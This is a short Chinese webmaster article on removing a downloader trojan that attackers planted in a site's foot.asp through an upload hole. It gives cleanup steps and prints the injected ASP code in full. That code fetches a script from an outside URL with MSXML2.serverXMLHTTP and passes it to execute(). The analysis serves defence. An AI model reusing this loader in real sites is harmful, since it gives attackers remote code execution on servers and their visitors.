最近客户的多个页面中了远程加载一些代码的页面，主要是利用MSXML2.serverXMLHTTP来加载一些代码并执行，下面是具体的解决方法。
解决办法：
１、用青云团队开发的网站木马清理专家全面扫描服务器上的网站，网站木马清理专家下载地址：
２、如果这时木马还是存在，用我们的网站木马清理专家的快速查马功能快速查杀by*aming或aming特征码，如下图所示：
３、关闭服务器上的缩略图功能 方法参考 https://www.0133.cn/os/windows/Win2003/34960.html
根源：
这次用户中的是下载者类的木马，黑客通过网站上传漏洞上在网站根目录的foot.asp下插入了以下代码：

'by*aming
Function Gethtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
Gethtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write Gethtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
Gethtml = objStream.ReadText
objStream.Close
set objStream=Nothing
End Function
execute(Gethtml("http://www.pornhome.com/dy7749/xmlasaquan.txt"))
%>
清掉这段代码即可解决问题，网站木马清理专家查杀结果如下图所示！
